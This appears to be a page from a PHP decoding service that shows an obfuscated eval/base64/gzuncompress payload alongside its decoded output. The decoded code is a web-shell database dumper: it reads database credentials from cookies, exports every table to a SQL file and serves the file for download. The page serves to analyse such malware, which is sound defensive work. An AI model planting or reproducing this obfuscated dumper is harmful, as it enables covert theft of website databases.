Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$bhrt = "eNqVVF1v2zYUfXaA/IdbQoCkwnYGDO1DPbdLHXUJ5tVF4rUoXIOgJTJmJ5EKSc3NBv/38ct24uRlL/q49..

Decoded Output download

?>b'<?php @set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);

// Dump Database

if($_GET["action"] == "dumpDB")
{
	$self=$_SERVER["PHP_SELF"];
	if(isset($_COOKIE[\'dbserver\']))
	{
		$date = date("Y-m-d");
		$dbserver = $_COOKIE["dbserver"];
		$dbuser = $_COOKIE["dbuser"];
		$dbpass = $_COOKIE["dbpass"];
		$dbname = $_GET[\'dbname\'];
		$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
		
		$file = "Dump-$dbname-$date";
		
		$file="Dump-$dbname-$date.sql";
		$fp = fopen($file,"w");
		
		function write($data) 
		{
			global $fp;
			
				fwrite($fp,$data);
			
		}
		mysql_connect ($dbserver, $dbuser, $dbpass);
		mysql_select_db($dbname);
		$tables = mysql_query ("SHOW TABLES");
		while ($i = mysql_fetch_array($tables)) 
		{
			$i = $i[\'Tables_in_\'.$dbname];
			$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
			write($create[\'Create Table\'].";

");
			$sql = mysql_query ("SELECT * FROM ".$i);
			if (mysql_num_rows($sql)) 
			{
				while ($row = mysql_fetch_row($sql)) 
				{
					foreach ($row as $j => $k) 
					{
						$row[$j] = "\'".mysql_escape_string($k)."\'";
					}
					write("INSERT INTO $i VALUES(".implode(",", $row).");");
				}
			}
		}
		
		fclose ($fp);
		
		header("Content-Disposition: attachment; filename=" . $file);   
		header("Content-Type: application/download");
		header("Content-Length: " . filesize($file));
		flush();
		
		$fp = fopen($file, "r");
		while (!feof($fp))
		{
			echo fread($fp, 65536);
			flush();
		} 
		fclose($fp); 
	}
}

?>'

Did this file decode correctly?

Original Code

$bhrt = "eNqVVF1v2zYUfXaA/IdbQoCkwnYGDO1DPbdLHXUJ5tVF4rUoXIOgJTJmJ5EKSc3NBv/38ct24uRlL/q495xzeS4v+cu7dt3Cr5oa3JBbXuK7ThqqseqE4Q3NfspHpydyhbUhymTuhyolFVa0lcpwcRsQXsARcM0bbmKQC45tIksb8gPTH7TsDJfC49L+EUR2pu0MXnWMUWV1I+D05OwMLrqmhQtiyIpo6mKcZQn+rZgvECmdJFrCeAyosriL9yg/Pfn39KSXaFqzcYJviuvPxfUCfbr8ZL+nH9DS6vasBNeucoIns9nvV8UirVaaqr+pSpe5leg5jV5SEUNhDO6Voa+DZlAhty6XiXCb3WugXTAUcaBOP4G40AHQEq2PAC50AAjSUA9wjtPwn8Zsc6/v6ksiqtpB/B8upRC0NJDtl9iHuBD/4dSDBy/BuOci1+VBLDfwvtFj0PgZyNAWDLCEtVaFyZaKzMP7aIMOZVgn/FbBRnHbSkcmObiM73PvtpYrUoNV8RTPsayIZm0/MA7JrXv8X8MBbwfDwnG1yqKXuKN2wGqq932866i6hwzdXM6+wPz8/bS4iYY2a9ezLOF7LKOmXGOiFLnPok7+0J6HJnyRzn0Oc4HTYawetrKXlIqGYXsq+cyCJtfF+bwI6wI0THgemxNbFtQW6SSo+rrpcohG38Q3EX3YM3JXP/VbTIvJHF7Ch+vZH0E6oDmDuBLRNVjJjc6cQDQane6bY/NHXmzkEWHH6DFpF1muI4loSL7D+C0kf+2Ae2TPIRbJ96Wb2BQNgzzVJWmpvaTczZFZ2tDmRpGyje/QF3T10V4Ic7j6OJ/ZDYHP59M/i5sMDXnT1rKygD6yQ2OrWJF8tGtUVNnuJ8/PdFlL7ayy9jDoa0oqqjI0kcJQYQYXXLdSczf7b4AYY302Nj4Cd0bc9o8RDMGfmHwEAM9pzO9basltW/OSOKWzSm5ELcnuMjomTKm4Nes34KSdsub/0HAq45SwutPr7OEtcHx6AanH0/6CUcm81/ww17RcS2B29yp/SOH1q1c/v449e1hjC4eGhX65gO3k1t3n797+B7NU0WA="; eval("?>".gzuncompress(base64_decode($bhrt))); ?>

Function Calls

gzuncompress 1
base64_decode 1

Variables

$bhrt eNqVVF1v2zYUfXaA/IdbQoCkwnYGDO1DPbdLHXUJ5tVF4rUoXIOgJTJmJ5EK..

Stats

MD5 46fdedcd158a9590909571fbb25e81e6
Eval Count 1
Decode Time 99 ms